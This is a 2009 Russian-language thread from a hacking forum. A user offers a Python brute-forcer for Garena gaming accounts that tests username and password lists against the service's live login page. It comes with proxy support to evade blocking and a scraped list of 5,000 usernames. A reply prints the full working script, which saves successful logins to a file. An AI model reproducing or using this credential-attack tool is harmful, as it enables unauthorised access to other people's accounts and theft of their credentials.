HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Брутфорс garena
  #1  
Старый 23.08.2009, 16:21
e4key
Новичок
Регистрация: 24.07.2009
Сообщений: 24
С нами: 8842014

Репутация: 5
По умолчанию Брутфорс garena

Написал сегодня от нечего делать брут garen'ы. Брут в один поток (может в скором будущем сделаю многопоточность). Хотите брутьте по 1 паролю на множество аков, хотите 1 акк на множество паролей ну или множество акков на множество паролей

Скрипт написан на Python.

Использование:

Цитата:
python garena.py
И ждем завершения

Для работы скрипта нужны файлы:

Цитата:
users.txt ;Список пользователей. Каждый с новой строки
passwords.txt ;Список паролей. Каждый с новой строки.
Естественно эти файлы должны лежать в той же директории, что и скрипт.

Результат сохраняется в файл results.txt в виде login;password.

Как бонус в архиве лежит сграбленный мной из топа игроков файл с 5к именами пользователей

upd: добавлена поддержка http-прокси

http://www.sendspace.com/file/0pz8gs

Последний раз редактировалось e4key; 23.08.2009 в 17:25..
 

  #2  
Старый 23.08.2009, 17:02
e4key
Новичок
Регистрация: 24.07.2009
Сообщений: 24
С нами: 8842014

Репутация: 5
По умолчанию

Так так... Обнаружено что спустя некоторое количество запросов юзеру отдается пустая страница вместо страницы логина Скоро освобожусь и сделаю работу через http прокси.
 

  #3  
Старый 23.08.2009, 17:05
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами: 11278406

Репутация: 818


По умолчанию

Стоило создавать тему из-за вот ЭТОГО:
PHP код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib
import re

users 
open('users.txt''r').readlines()
passwords open('passwords.txt''r').readlines()
hello open('results.txt''w')

for 
user in users:
    
user user.strip()
    for 
password in passwords:
        
password password.strip()
        
data urllib.urlencode({'username'user'password'password'loginSubmit''Submit'})
        
page urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4='data).read()
        
login re.findall('Login successfully'page)
        if 
len(login) != 0:
            print 
'Login successfully: ' user ';' password
            hello
.write(user ';' password '\n')
        else:
            print 
'Incorrect login: ' user ';' password 
Хотяб уже в придачу чекер сделал лвла и ГГшелов.
 

  #4  
Старый 23.08.2009, 18:54
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
С нами: 10541186

Репутация: 921


По умолчанию

http://forum.antichat.ru/thread107524.html
Закрыто!
 
Закрытая тема



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Низкоуровневое исследование клиента игровой платформы Garena Dosia Статьи 29 10.10.2010 00:09
Брутфорс garena.com [Perl] Kaimi PHP 39 25.03.2010 19:20
Брутфорс - начинающим bxN5 Skype, IRC, ICQ, Jabber и другие IM 30 29.12.2008 05:08



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.